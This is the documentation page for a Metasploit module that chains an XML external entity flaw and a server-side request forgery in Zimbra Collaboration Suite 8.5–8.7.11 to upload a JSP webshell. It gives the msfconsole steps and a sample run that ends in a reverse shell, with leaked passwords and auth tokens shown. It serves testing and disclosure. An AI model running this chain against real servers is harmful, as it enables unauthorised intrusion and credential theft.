## Description

This module exploits an XML external entity vulnerability and a server side request forgery to get unauthenticated code execution on Zimbra Collaboration Suite. The XML external entity vulnerability in the Autodiscover Servlet is used to read a Zimbra configuration file that contains an LDAP password for the 'zimbra' account. The zimbra credentials are then used to get a user authentication cookie with an AuthRequest message. Using the user cookie, a server side request forgery in the Proxy Servlet is used to proxy an AuthRequest with the 'zimbra' credentials to the admin port to retrieve an admin cookie. After gaining an admin cookie the ClientUploader is used to upload a JSP webshell that can be triggered from the web server to get command execution on the host. The issues reportedly affect Zimbra Collaboration Suite v8.5 to v8.7.11. This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64 FOSS edition.

## Vulnerable Application

Zimbra Collaboration Suite v8.5 to v8.7.11.

[Zimbra 8.7.1 GA FOSS Edition](https://files.zimbra.com/downloads/8.7.1_GA/zcs-8.7.1_GA_1670.UBUNTU16_64.20161025045114.tgz)

[Installation](https://zimbra.github.io/installguides/latest/single.html#Installing_Zimbra_Collaboration_Software)

## Verification Steps

1. `./msfconsole -q`
2. `use exploit/linux/http/zimbra_xxe_rce`
3. `set rhosts <rhost>`
4. `set lhost <lhost>`
5. `exploit`

## Scenarios

### Zimbra 8.7.1 GA 1670 FOSS edition Tested on Ubuntu 16.04.6 LTS

```
msf5 exploit(linux/http/zimbra_xxe_rce) > exploit

[*] Started reverse TCP handler on 172.22.222.136:4444 
[*] Using URL: http://0.0.0.0:8080/2tQ75DxRvaeGRSP
[*] Local IP: http://192.168.171.150:8080/2tQ75DxRvaeGRSP
[*] Server started.
[+] Password found: Syz7fOPJI
[+] User cookie retrieved: ZM_AUTH_TOKEN=0_c6df3ed73afbefd7eff40eb9f6999794ebf764b5_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313535343239343539303239353b747970653d363a7a696d6272613b753d313a613b7469643d393a3538303338373138373b;
[+] Admin cookie retrieved: ZM_ADMIN_AUTH_TOKEN=0_c1c8a6c715eb8f55c14aa63e82a8ff64e4fbe279_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313535343136343939303333353b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d383a36303437383736333b;
[*] Uploading jsp shell
[*] Executing payload on /downloads/XFlHBolHjLB.jsp
[*] Command shell session 1 opened (172.22.222.136:4444 -> 172.22.222.111:53746) at 2019-04-01 07:29:51 -0500
[*] Server stopped.

whoami
zimbra
uname -a
Linux zimbra.mylocaldomain.local 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
../bin/zmcontrol -v
Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64 FOSS edition.
exit
[*] 172.22.222.111 - Command shell session 1 closed.
```
